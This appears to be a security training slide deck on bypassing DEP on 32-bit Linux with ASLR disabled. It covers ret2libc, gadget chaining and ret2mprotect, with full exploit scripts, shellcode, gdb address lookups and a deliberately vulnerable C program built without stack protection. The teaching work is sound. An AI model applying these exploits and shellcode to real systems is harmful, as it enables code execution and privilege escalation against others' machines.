* How to bypass X^W * Why ASLR matters

1. Bypassing DEP
Why ASLR matters
Alex Moneger
Security Engineer
Why ASLR matters

2. Refresher
 Classic buffer overflows store the shellcode on the stack
 Shellcode is executed on the stack
 This requires the stack to be executable
 In modern Oss, stack is not executable, because it is a data section
 Can we still exploit this?
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3. Ret2libc
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4. Approach
 Consider ASLR is disabled. What impact does this have?
 ASLR disabled = predictable addresses
 What can we do with predictable addresses?
 Maybe we can call them from the stack?
 What do we control which allows hijacking of control flow?
 SEIP (or local function pointer) again!
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5. Concepts
 We control SEIP (where we redirect the control flow to)
 But can we control arguments passed to the function?
 How are arguments passed to functions? On the stack!
 Function expects it’s first argument at ebp+0x8
 Where are ebp and esp at control flow hijack time?
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6. Stack registers
 Function epilogue (return from vulnerable
function)
mov esp,ebp
pop ebp
ret
 Function prologue (function we control)
push ebp
mov ebp,esp
 After the prologue of our function esp =
ebp
 esp = 0xa, ebp = 0xb, sebp =
0x41414141
1. esp = 0xb, ebp = 0xb, sebp =
0x41414141
2. esp = 0xb, ebp = 0x41414141
3. esp = 0xb, ebp = 0x41414141
4. esp = 0xb, ebp = 0xb
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7. What it looks like after function prologue
 esp = ebp
 Function expects first arg to be at ebp
+ 0x8
 Function expects SEIP at ebp + 0x4
 Our stack frame at entry of our
controlled function looks like this:
arg…
arg1
SEIP
Func
0x41414141
0x41414141
0x41414141
0x41414141
0x41414141
0x41414141
EBP+0x8
EBP+0x4
EBP
ESP
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8. Libc maybe?
 So we know we can call a function with arguments
 What library provides all core components? Libc!
 Let’s use functions in libc to exploit our program
 A Shell would be nice, let’s use the system() function
 System() takes one argument, the binary to run, “/bin/sh” would do it?
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9. Stack System() example
 We need the address of
system()
 We need the address of
something pointing to “/bin/sh”
 How do we get a random string
in our binary:
1. Environment variables
2. “/bin/sh” string is in libc address
space
&”/bin/sh”
JUNK
&system
0x41414141
0x41414141
0x41414141
0x41414141
0x41414141
0x41414141
EBP+0x8
EBP+0x4
EBP
ESP
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10. Getting addresses
cisco@kali:~/src/seccon/ch5$ invoke -d ch5 $(python -c 'print "A"*128')
Reading symbols from /home/cisco/src/seccon/ch5/ch5...done.
gdb$ break main
Breakpoint 1 at 0x8048466: file ch5.c, line 12.
gdb$ r
Breakpoint 1, main (argc=2, argv=0xbffffdb4) at ch5.c:12
gdb$ p/x &system
$1 = 0xb7e9bf10
gdb$ p/x &exit
$2 = 0xb7e8f550
gdb$ find 0xb7e9bf10,+99999999,"/bin/sh"
0xb7f9a4f4
warning: Unable to access target memory at 0xb7fc15fc, halting search.
1 pattern found.
gdb$ q
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11. The exploit
cisco@kali:~/src/seccon/ch5$ pygmentize -g ch5.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import os
import struct as s
target = "ch5"
overflow_len = 112
system_addr = 0xb7e9bf10
exit_addr = 0xb7e8f550
sh_addr = 0xb7f9a4f4
target_path = os.path.abspath(target)
ex = 'A'*overflow_len
# Hijack flow to system()
ex += s.pack("<I", 0xb7e9bf10)
# SEIP in system() context, be clean, call exit()
ex += s.pack("<I", 0xb7e8f550)
# Address of "/bin/sh"
ex += s.pack("<I", 0xb7f9a4f4)
os.execve(target_path, (target_path, ex), os.environ)
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12. What it does
 Hijacks flow to system() in libc
 Passes the address of “/bin/sh” as argv
 Puts exit() address as return address of system(). Exit cleanly
cisco@kali:~/src/seccon/ch5$ invoke ./ch5.py
$ exit
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13. Chaining calls
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14. 1 functions call, come on…
 How could you chain function calls? You need to be able to:
1. Remove previous arguments from the stack
2. Return to next function
 Introduce the pop;pop;ret construct:
1. Remember pop? It allows to control ESP, thus removing elements from the
stack
2. Ret effectively pops eip and jumps to it.
 Maybe we could use as many pops as function arguments and return
after that?
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15. pop;pop;ret construct
 The number of “pop reg” determines how
many arguments are removed
 Allows to chain function calls
 Need to find pop;pop;ret
&next_func
arg1
&pop;ret
&next_func
arg2
arg1
&pop;pop;ret
&func
ret
pop reg
ret
pop reg
pop reg
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16. Finding pop;pop;ret
 Find all rets in a binary, and disassemble backwards
 Gives you an interesting set of elements to work with
cisco@kali:~$ objdump -d -j .text -M intel /lib/libc.so.6 | grep ret -B 3 > ch5.ggt
cisco@kali:~$ head ch5.ggt
16c60: 55 push ebp
16c61: 89 e5 mov ebp,esp
16c63: 5d pop ebp
16c64: c3 ret
--
16ce7: 8b 7d fc mov edi,DWORD PTR [ebp-0x4]
16cea: 89 ec mov esp,ebp
16cec: 5d pop ebp
16ced: c3 ret
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17. Nice ppr
 Avoid:
1. leave instructions before the ret (;) fror now)
2. Pop ebp if possible
 They modify the stack
 A nice one, which doesn’t change the stack:
cisco@kali:~$ egrep "pop[[:space:]]+eax" -A 2 -B 1 ch5.ggt | tail -n 4
d7f21: 59 pop ecx
d7f22: 58 pop eax
d7f23: c3 ret
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18. Running anything
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19. I want to use my shellcode
 What if you want something that requires too much complexity?
 Something for which you already have a shellcode maybe
 Can I execute a shellcode ret2libc style?
 You certainly can, under some classes of bugs
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20. Mprotect()
 Libc exposes mprotect()
 Allows to set permissions for a page for memory
 Prototype:
SYNOPSIS
#include <sys/mman.h>
int mprotect(void *addr, size_t len, int prot); ret
 Has to be aligned on page boundary:
cisco@kali:~/src/seccon/ch5$ pygmentize -g ch5-mp.py | grep stack
stack_page = buf_addr & -0x1000
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21. ret2mprotect
 Let’s use mprotect() to change the
permissions of the stack to RWE
 Then jump to our shellcode
 Example: shellcode address: 0xbffffce8:
 Page address: 0xbffffce8 & -0x1000 = 0xbffff000
 Mprotect(0xbffff000, 0x1000, 0x7), RWE = 0x7
 Now, that page of stack is RWE
 Jump to shellcode as usual => 0xbffffce8
perms
size
&stack_page
&shellcode
&mprotect
0x41414141
0x41414141
0x41414141
0x41414141
Shellcode
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22. Constraints
 Vulnerabilities have to allow null bytes, because:
1. Page boundaries contain null bytes by definition
2. Size is a 32 bit integer
3. Permissions is a 32 bit integer
 All above contain null bytes
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23. Can you spot it?
cisco@kali:~/src/seccon/ch5$ pygmentize -g ch5-mp.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
struct stuff {
unsigned int len;
char data[0x64];
};
char * vuln(FILE *fd) {
struct stuff s;
memset(&(s.len), 0, sizeof(s.len));
memset(&(s.data), 0, sizeof(s.data));
fread(&(s.len), 0x4, 0x1, fd);
printf("Data is %d bytes longn", s.len);
fread(&(s.data), s.len, 0x1, fd);
printf("Got data from file: %sn", &(s.data));
char *p = &s + 0x4;
return p;
}
int main(int argc, char **argv) {
if (argc != 2) {
exit(1);
}
FILE *fd = fopen(argv[1], "r");
char *p = vuln(fd);
fclose(fd);
return 0;
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}

24. Compile and run
 Looks like we control length and data
cisco@kali:~/src/seccon/ch5$ cc ch5-mp.c -fno-stack-protector -U_fortify_SOURCE -g -o ch5-mp
cisco@kali:~/src/seccon/ch5$ python -c 'import struct as s; print s.pack("<I", 0x3)+"ABCD"' > /tmp/
cisco@kali:~/src/seccon/ch5$ ./ch5-mp /tmp/k
Data is 3 bytes long
Got data from file: ABC
dahtah@kali:~/src/seccon/ch5$ python -c 'import struct as s; print s.pack("<I", 0x100)+"A"*0x74+"B"*4' > /tmp/f
dahtah@kali:~/src/seccon/ch5$ invoke ch5-mp /tmp/f
Data is 256 bytes long
Got data from file:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAABBBB
?@?????????跐??P?
Segmentation fault
cisco@kali:~/src/seccon/ch5$ dmesg | tail -n 1
[971014.298327] ch5-mp[27676]: segfault at 42424242 ip 42424242 sp bffffd60 error 14
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25. GDB time
 We need our buffer address
 We need libc mprotect address
cisco@kali:~/src/seccon/ch5$ invoke -d ch5-mp /tmp/f
Reading symbols from /home/cisco/src/seccon/ch5/ch5-mp...done.
gdb$ break vuln
Breakpoint 1 at 0x8048545: file ch5-mp.c, line 12.
gdb$ r
Breakpoint 1, vuln (fd=0x804a008) at ch5-mp.c:12
gdb$ p/x &(s.data)
$3 = 0xbffffce8
gdb$ p/x &mprotect
$2 = 0xb7f31e00
gdb$ q
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26. Putting it together
target = "ch5-mp"
target_file = "/tmp/f"
overflow_len = 0x74
mprotect_addr = 0xb7f31e00
buf_addr = 0xbffffce8
stack_page = buf_addr & -0x1000
page_size = 0x1000
rwe_perms = 0x7
target_path = os.path.abspath(target)
# setreuid(geteuid(),geteuid()); execve("/bin/sh",0,0)
sc = ("x6ax31x58x99xcdx80x89xc3x89xc1x6ax46"
"x58xcdx80xb0x0bx52x68x6ex2fx73x68x68"
"x2fx2fx62x69x89xe3x89xd1xcdx80")
ex = sc
ex += 'A'*(overflow_len - len(sc))
ex += s.pack("<I", mprotect_addr)
ex += s.pack("<I", buf_addr)
ex += s.pack("<I", stack_page)
ex += s.pack("<I", page_size)
ex += s.pack("<I", rwe_perms)
f = open(target_file, "wb")
f.write(s.pack("<I", len(ex)))
f.write(ex)
f.close()
os.execve(target_path, (target_path, target_file), os.environ)
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27. Test
cisco@kali:~/src/seccon/ch5$ sudo sysctl -a | grep -i randomize
kernel.randomize_va_space = 0
cisco@kali:~/src/seccon/ch5$ readelf -l ch5-mp | grep STACK
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4
cisco@kali:~/src/seccon/ch5$ invoke ch5-mp.py
Data is 136 bytes long
Got data from file: j1X?̀?É?jFX̀?
Rhn/shh//bi???̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
$ exit
 We changed a stack page to RWE using mprotect
 We redirected to our shellcode
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28. Take away
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29. Conclusion
 DEP is trivial to bypass without ASLR
 You can run your shellcode in some circumstances
 Mprotect is nice for runtime memory permission changes
 Mprotect trick doesn’t work on grsec kernels
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30. Exercise
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31. Exercise time
 Exploit ch5 using standard
ret2libc() => call system()
 Do the same thing, but print
some greeting before your
shellcode. Exit cleanly
 Pick your favorite shellcode.
Exploit ch5-mp using mprotect()
trick
 Can you make ch5-mp more
reliable? How? Hint: what is that
useless pointer there for?
 Why doesn’t the above work?
Read the ABI again ;)
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